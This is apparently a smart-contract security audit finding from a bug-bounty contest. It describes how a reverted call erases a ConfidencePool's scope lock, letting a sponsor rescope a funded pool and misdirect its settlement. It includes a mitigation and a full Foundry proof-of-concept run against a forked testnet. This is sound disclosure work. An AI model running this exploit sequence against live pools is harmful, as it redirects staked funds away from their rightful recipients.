## Summary
During `ATTACK_REQUESTED`, `_observePoolState()` sets `scopeLocked`, but `pokeRiskWindow()` and `setPoolScope()` subsequently revert and erase that write. A legitimate rejection returns the Agreement to `NOT_DEPLOYED`, allowing funded scope replacement. Later corruption can then settle all principal and bonus against the wrong scope commitment.
## Description
### Intended behavior
Scope is mutable only in `NOT_DEPLOYED` or `NEW_DEPLOYMENT`. The first later-state observation permanently fixes the list used by the moderator to classify corruption.
### Actual behavior
1. A funded `[A]` pool reaches `ATTACK_REQUESTED` for an Agreement covering A and B.
2. `pokeRiskWindow()` and `setPoolScope()` each write, then revert and erase, the first lock.
3. A legitimate rejection returns the Agreement to `NOT_DEPLOYED`.
4. The sponsor replaces scope with another valid subset, such as `[A, B]`.
5. Later corruption is resolved against the replacement list, changing the full-pool recipient.
The precondition is that no successful economic call persists the lock before rejection.
## Root Cause
`_observePoolState()` writes `scopeLocked = true` for `ATTACK_REQUESTED`, but its callers revert that same transaction:
```solidity
_observePoolState();
if (scopeLocked) revert ScopePostLockImmutable(); // setPoolScope
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached(); // poke
```
Because `ATTACK_REQUESTED` sets neither risk marker, both writes roll back. Rejection then deletes upstream registration history:
https://github.com/Cyfrin/battlechain-safe-harbor-contracts/blob/fde1b2abe9e5c27175f5b6f7324bcce6afc3b059/src/AttackRegistry.sol#L350-L383
## Risk
### Impact
**Medium:** incorrect settlement of the full 1,000-token principal plus 200-token bonus.
- Expansion, bad faith: `[A] -> [A, B]` redirects all 1,200 tokens to recovery; the unchanged `[A]` control pays the staker.
- Expansion, good faith: the changed pool pays all 1,200 tokens to the named whitehat; the unchanged control pays the staker.
- Narrowing: `[A, B] -> [A]` returns all 1,200 tokens to the staker; the unchanged `[A, B]` control pays the whitehat for the covered corruption.
### Likelihood
The sequence requires a rejected first request, no successful lock-persisting economic call, valid rescoping, and later corruption involving a changed account. All roles and parameters remain valid; no compromised registry or mock lifecycle is needed.
## Attack Path / Reproduction Path
1. Create and fund victim and control pools for an Agreement covering A and B.
2. Reach `ATTACK_REQUESTED`; call both reverting observer paths and confirm `scopeLocked == false`.
3. Legitimately reject to `NOT_DEPLOYED`, then replace only the victim scope.
4. Request again, approve, and reach `CORRUPTED`.
5. Resolve and claim victim and control under expansion bad-faith, expansion good-faith, and narrowing scenarios.
## External Preconditions
A legitimate rejection returns the Agreement to `NOT_DEPLOYED`; later corruption affects an account whose scope membership changed. The token is a standard ERC20.
## Internal Preconditions
The funded pool is unresolved and unlocked, only reverting observers run before rejection, and every replacement account belongs to the Agreement.
## Affected Code
Scoped commit: `58e8ba4ce3f3277866e4926f3140e597f9554a1e`.
- Observation rollback: [setPoolScope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L636-L640), [pokeRiskWindow](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L649-L657), and [_observePoolState](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L778-L798).
- Scope replacement and settlement: [_replaceScope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L746-L775) and [claim paths](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L322-L452).
- Specification: [fixed pool-local scope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/docs/DESIGN.md#L209-L231).
## Recommended Mitigation
Treat a new scope lock as successful work, so its transaction cannot roll back:
```solidity
function setPoolScope(address[] calldata accounts)
external
onlyOwner
returns (bool updated)
{
bool wasLocked = scopeLocked;
_observePoolState();
if (scopeLocked) {
// A revert here would erase a lock written by this call.
if (!wasLocked) return false;
revert ScopePostLockImmutable();
}
_replaceScope(accounts);
return true;
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
bool wasLocked = scopeLocked;
_observePoolState();
bool scopeJustLocked = !wasLocked && scopeLocked;
if (!scopeJustLocked && riskWindowStart == 0 && riskWindowEnd == 0) {
revert RiskWindowNotReached();
}
}
```
Expose the return value or emit a lock-only event. Test both observer paths across rejection. If locking must occur without any pool transaction, the registry must expose monotonic transition history.
## Proof of Concept
```text
test/poc/ConfidencePoolScopeLockRollback.poc.t.sol
```
The test pins BattleChain block `17,036` and uses the real registry stack, configured moderator, and Agreement Factory. It deploys the scoped pools with a standard ERC20; no registry mocks or storage writes are used.
### Deterministic fork PoC
Run from the repository root:
```bash
BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com \
forge test --match-path 'test/poc/ConfidencePoolScopeLockRollback.poc.t.sol' -vv
```
The tests cover three settlement variants and one successful-lock control.
### Deterministic fork logs
```text
[PASS] test_Control_SuccessfulEconomicCallPersistsLockAcrossRejection()
CONTROL: a successful one-unit contribution persists the scope lock
[PASS] test_PoC_BadFaithCorruptionRedirectsEntirePoolToRecovery()
scopeLocked after reverted ATTACK_REQUESTED poke false
full victim pool redirected to recovery 1200000000000000000000
unchanged control pool paid to staker 1200000000000000000000
[PASS] test_PoC_GoodFaithCorruptionRedirectsEntirePoolToWhitehat()
scopeLocked after reverted ATTACK_REQUESTED poke false
full victim pool paid to named whitehat 1200000000000000000000
unchanged control pool paid to staker 1200000000000000000000
[PASS] test_PoC_NarrowedScopeInvertsCorruptedSettlementToSurvived()
full narrowed pool returned to staker 1200000000000000000000
unchanged broad-scope pool paid to whitehat 1200000000000000000000
Suite result: ok. 4 passed; 0 failed; 0 skipped
```
### Local RPC PoC
Start a pinned local fork:
```bash
anvil --fork-url https://testnet.battlechain.com \
--fork-block-number 17036 --chain-id 627 --port 8547 --silent
```
Run the PoC through that local JSON-RPC endpoint:
```bash
cast chain-id --rpc-url http://127.0.0.1:8547
cast block-number --rpc-url http://127.0.0.1:8547
BATTLECHAIN_TESTNET_RPC=http://127.0.0.1:8547 \
forge test --match-path 'test/poc/ConfidencePoolScopeLockRollback.poc.t.sol' -vv
```
### Local RPC logs
```text
chain_id=627
block=17036
Suite result: ok. 4 passed; 0 failed; 0 skipped
```
### Determinism
Both modes pin chain ID `627` at block `17,036`; actors, transitions, scopes, funding, and balance assertions are fixed. No oracle, timing, ordering, or governance input is involved.
### Full PoC source
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";
import {
Account as BCAccount,
AgreementDetails,
BountyTerms,
Chain as BCChain,
ChildContractScope,
Contact,
IdentityRequirements
} from "@battlechain/types/AgreementTypes.sol";
contract PoCStandardStakeToken is ERC20 {
constructor(address staker, address contributor) ERC20("PoC Standard Stake Token", "PSST") {
_mint(staker, 1_000_000 ether);
_mint(contributor, 1_000_000 ether);
}
}
contract CoveredApplication {
uint256 public immutable applicationId;
constructor(uint256 applicationId_) {
applicationId = applicationId_;
}
}
contract ConfidencePoolScopeLockRollbackPoC is Test {
uint256 internal constant PIN_BLOCK = 17_036;
uint256 internal constant STAKE = 1_000 ether;
uint256 internal constant BONUS = 200 ether;
uint256 internal constant FULL_POOL = STAKE + BONUS;
address internal constant SAFE_HARBOR_REGISTRY = 0x07E09f67B272aec60eebBfB3D592eC649BDCFEFc;
address internal constant ATTACK_REGISTRY = 0x22134e878c409a0Eab7259d873b38e26Ca966d3C;
address internal constant AGREEMENT_FACTORY = 0xf52CEA27b9E20D03Ec48CDe4fafF8F27565646f2;
address internal sponsor = makeAddr("sponsor");
address internal poolModerator = makeAddr("poolModerator");
address internal staker = makeAddr("staker");
address internal contributor = makeAddr("contributor");
address internal whitehat = makeAddr("whitehat");
address internal recovery = makeAddr("recovery");
IAttackRegistry internal attackRegistry;
IAgreement internal agreement;
ConfidencePoolFactory internal confidencePoolFactory;
ConfidencePool internal victimPool;
ConfidencePool internal controlPool;
PoCStandardStakeToken internal stakeToken;
CoveredApplication internal coveredA;
CoveredApplication internal coveredB;
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory rpc) {
vm.createSelectFork(rpc, PIN_BLOCK);
} catch {
vm.skip(true);
return;
}
assertEq(block.chainid, 627, "wrong BattleChain fork");
IBattleChainSafeHarborRegistry safeHarborRegistry = IBattleChainSafeHarborRegistry(SAFE_HARBOR_REGISTRY);
assertEq(safeHarborRegistry.getAttackRegistry(), ATTACK_REGISTRY, "registry pointer drift");
assertEq(safeHarborRegistry.getAgreementFactory(), AGREEMENT_FACTORY, "factory pointer drift");
attackRegistry = IAttackRegistry(ATTACK_REGISTRY);
coveredA = new CoveredApplication(1);
coveredB = new CoveredApplication(2);
agreement = _createRealAgreement();
stakeToken = new PoCStandardStakeToken(staker, contributor);
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy factoryProxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImplementation), poolModerator)
)
);
confidencePoolFactory = ConfidencePoolFactory(address(factoryProxy));
confidencePoolFactory.setStakeTokenAllowed(address(stakeToken), true);
victimPool = _createPool(_scopeA());
controlPool = _createPool(_scopeA());
_fundPool(victimPool);
_fundPool(controlPool);
assertFalse(victimPool.scopeLocked(), "victim starts mutable in NOT_DEPLOYED");
assertFalse(controlPool.scopeLocked(), "control starts mutable in NOT_DEPLOYED");
}
function test_PoC_BadFaithCorruptionRedirectsEntirePoolToRecovery() external {
_rewriteVictimScopeAndReachCorrupted();
uint256 recoveryBefore = stakeToken.balanceOf(recovery);
uint256 stakerBefore = stakeToken.balanceOf(staker);
vm.prank(poolModerator);
victimPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
victimPool.claimCorrupted();
vm.prank(poolModerator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(staker);
controlPool.claimSurvived();
uint256 redirected = stakeToken.balanceOf(recovery) - recoveryBefore;
uint256 controlPayout = stakeToken.balanceOf(staker) - stakerBefore;
assertEq(redirected, FULL_POOL, "mutated scope redirects all principal and bonus");
assertEq(controlPayout, FULL_POOL, "original scope returns all principal and bonus");
assertEq(stakeToken.balanceOf(address(victimPool)), 0, "victim pool fully drained");
assertEq(stakeToken.balanceOf(address(controlPool)), 0, "control pool fully claimed");
console2.log("SCENARIO: bad-faith CORRUPTED versus original-scope SURVIVED");
console2.log("victim scope accounts after rollback/rewrite", victimPool.getScopeAccounts().length);
console2.log("full victim pool redirected to recovery", redirected);
console2.log("unchanged control pool paid to staker", controlPayout);
}
function test_PoC_GoodFaithCorruptionRedirectsEntirePoolToWhitehat() external {
_rewriteVictimScopeAndReachCorrupted();
uint256 whitehatBefore = stakeToken.balanceOf(whitehat);
uint256 stakerBefore = stakeToken.balanceOf(staker);
vm.prank(poolModerator);
victimPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.prank(whitehat);
victimPool.claimAttackerBounty();
vm.prank(poolModerator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(staker);
controlPool.claimSurvived();
uint256 attackerPayout = stakeToken.balanceOf(whitehat) - whitehatBefore;
uint256 controlPayout = stakeToken.balanceOf(staker) - stakerBefore;
assertEq(attackerPayout, FULL_POOL, "mutated scope makes the full pool a bounty");
assertEq(controlPayout, FULL_POOL, "original scope remains a survived payout");
assertEq(victimPool.bountyClaimed(), FULL_POOL, "entire bounty entitlement claimed");
console2.log("SCENARIO: good-faith CORRUPTED versus original-scope SURVIVED");
console2.log("full victim pool paid to named whitehat", attackerPayout);
console2.log("unchanged control pool paid to staker", controlPayout);
}
function test_Control_SuccessfulEconomicCallPersistsLockAcrossRejection() external {
_requestAttack();
vm.startPrank(contributor);
stakeToken.approve(address(victimPool), 1);
victimPool.contributeBonus(1);
vm.stopPrank();
assertTrue(victimPool.scopeLocked(), "successful call persists ATTACK_REQUESTED observation");
_rejectAttack();
vm.prank(sponsor);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
victimPool.setPoolScope(_scopeAB());
console2.log("CONTROL: a successful one-unit contribution persists the scope lock");
}
function test_PoC_NarrowedScopeInvertsCorruptedSettlementToSurvived() external {
ConfidencePool narrowedPool = _createPool(_scopeAB());
ConfidencePool originalScopeControl = _createPool(_scopeAB());
_fundPool(narrowedPool);
_fundPool(originalScopeControl);
_requestAttack();
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
narrowedPool.pokeRiskWindow();
assertFalse(narrowedPool.scopeLocked(), "reverted observation leaves broad scope mutable");
_rejectAttack();
vm.prank(sponsor);
narrowedPool.setPoolScope(_scopeA());
assertEq(narrowedPool.getScopeAccounts().length, 1, "funded scope narrowed after rejection");
assertEq(originalScopeControl.getScopeAccounts().length, 2, "control retains original broad scope");
_requestAttack();
vm.prank(attackRegistry.getRegistryModerator());
attackRegistry.approveAttack(address(agreement));
narrowedPool.pokeRiskWindow();
originalScopeControl.pokeRiskWindow();
vm.prank(sponsor);
attackRegistry.markCorrupted(address(agreement));
uint256 stakerBefore = stakeToken.balanceOf(staker);
uint256 whitehatBefore = stakeToken.balanceOf(whitehat);
vm.prank(poolModerator);
narrowedPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(staker);
narrowedPool.claimSurvived();
vm.prank(poolModerator);
originalScopeControl.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.prank(whitehat);
originalScopeControl.claimAttackerBounty();
uint256 narrowedPayout = stakeToken.balanceOf(staker) - stakerBefore;
uint256 originalScopeBounty = stakeToken.balanceOf(whitehat) - whitehatBefore;
assertEq(narrowedPayout, FULL_POOL, "narrowed scope wrongly returns the full pool to staker");
assertEq(originalScopeBounty, FULL_POOL, "original broad scope correctly pays corrupted bounty");
console2.log("SCENARIO: narrowed-scope SURVIVED versus original-scope CORRUPTED");
console2.log("full narrowed pool returned to staker", narrowedPayout);
console2.log("unchanged broad-scope pool paid to whitehat", originalScopeBounty);
}
function _rewriteVictimScopeAndReachCorrupted() internal {
_requestAttack();
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
victimPool.pokeRiskWindow();
assertFalse(victimPool.scopeLocked(), "poke rollback erases the first scope lock");
console2.log("scopeLocked after reverted ATTACK_REQUESTED poke", victimPool.scopeLocked());
vm.prank(sponsor);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
victimPool.setPoolScope(_scopeAB());
assertFalse(victimPool.scopeLocked(), "setter rollback also erases the first scope lock");
_rejectAttack();
vm.prank(sponsor);
victimPool.setPoolScope(_scopeAB());
assertEq(victimPool.getScopeAccounts().length, 2, "funded victim scope rewritten");
assertEq(controlPool.getScopeAccounts().length, 1, "control retains original commitment");
_requestAttack();
address registryModerator = attackRegistry.getRegistryModerator();
vm.prank(registryModerator);
attackRegistry.approveAttack(address(agreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK),
"real registry approval failed"
);
victimPool.pokeRiskWindow();
controlPool.pokeRiskWindow();
assertTrue(victimPool.scopeLocked(), "rewritten victim scope finally locks");
assertTrue(controlPool.scopeLocked(), "control scope finally locks");
vm.prank(sponsor);
attackRegistry.markCorrupted(address(agreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.CORRUPTED),
"real registry corruption transition failed"
);
console2.log("real registry rejection and re-registration completed");
}
function _requestAttack() internal {
vm.prank(sponsor);
attackRegistry.requestUnderAttackForUnverifiedContracts(address(agreement));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED),
"real registry request failed"
);
}
function _rejectAttack() internal {
address registryModerator = attackRegistry.getRegistryModerator();
vm.prank(registryModerator);
attackRegistry.rejectAttackRequest(address(agreement), false);
assertEq(
uint256(attackRegistry.getAgreementState(address(agreement))),
uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),
"real registry rejection failed"
);
}
function _createRealAgreement() internal returns (IAgreement createdAgreement) {
BCAccount[] memory accounts = new BCAccount[](2);
accounts[0] = BCAccount({
accountAddress: _addressToString(address(coveredA)), childContractScope: ChildContractScope.None
});
accounts[1] = BCAccount({
accountAddress: _addressToString(address(coveredB)), childContractScope: ChildContractScope.None
});
BCChain[] memory chains = new BCChain[](1);
chains[0] =
BCChain({assetRecoveryAddress: _addressToString(recovery), accounts: accounts, caip2ChainId: "eip155:627"});
Contact[] memory contacts = new Contact[](1);
contacts[0] = Contact({name: "Security", contact: "security@example.test"});
BountyTerms memory terms = BountyTerms({
bountyPercentage: 10,
bountyCapUsd: 5_000_000,
retainable: true,
identity: IdentityRequirements.Anonymous,
diligenceRequirements: "none",
aggregateBountyCapUsd: 0
});
AgreementDetails memory details = AgreementDetails({
protocolName: "Confidence Pool PoC Agreement",
contactDetails: contacts,
chains: chains,
bountyTerms: terms,
agreementURI: "ipfs://confidence-pool-poc"
});
vm.prank(sponsor);
address agreementAddress =
IAgreementFactory(AGREEMENT_FACTORY).create(details, sponsor, keccak256("scope-lock-rollback-poc"));
createdAgreement = IAgreement(agreementAddress);
vm.prank(sponsor);
createdAgreement.extendCommitmentWindow(block.timestamp + 30 days);
assertTrue(createdAgreement.isContractInScope(address(coveredA)), "A missing from agreement scope");
assertTrue(createdAgreement.isContractInScope(address(coveredB)), "B missing from agreement scope");
}
function _createPool(address[] memory accounts) internal returns (ConfidencePool createdPool) {
vm.prank(sponsor);
address poolAddress = confidencePoolFactory.createPool(
address(agreement), address(stakeToken), block.timestamp + 31 days, 1 ether, recovery, accounts
);
createdPool = ConfidencePool(poolAddress);
}
function _fundPool(ConfidencePool pool) internal {
vm.startPrank(staker);
stakeToken.approve(address(pool), STAKE);
pool.stake(STAKE);
vm.stopPrank();
vm.startPrank(contributor);
stakeToken.approve(address(pool), BONUS);
pool.contributeBonus(BONUS);
vm.stopPrank();
assertEq(stakeToken.balanceOf(address(pool)), FULL_POOL, "pool funding mismatch");
}
function _scopeA() internal view returns (address[] memory accounts) {
accounts = new address[](1);
accounts[0] = address(coveredA);
}
function _scopeAB() internal view returns (address[] memory accounts) {
accounts = new address[](2);
accounts[0] = address(coveredA);
accounts[1] = address(coveredB);
}
function _addressToString(address account) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory result = new bytes(42);
result[0] = "0";
result[1] = "x";
for (uint256 i; i < 20; ++i) {
result[2 + i * 2] = alphabet[uint8(uint160(account) >> (8 * (19 - i) + 4)) & 0x0f];
result[3 + i * 2] = alphabet[uint8(uint160(account) >> (8 * (19 - i))) & 0x0f];
}
return string(result);
}
}
```
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.
The contest is complete and the rewards are being distributed.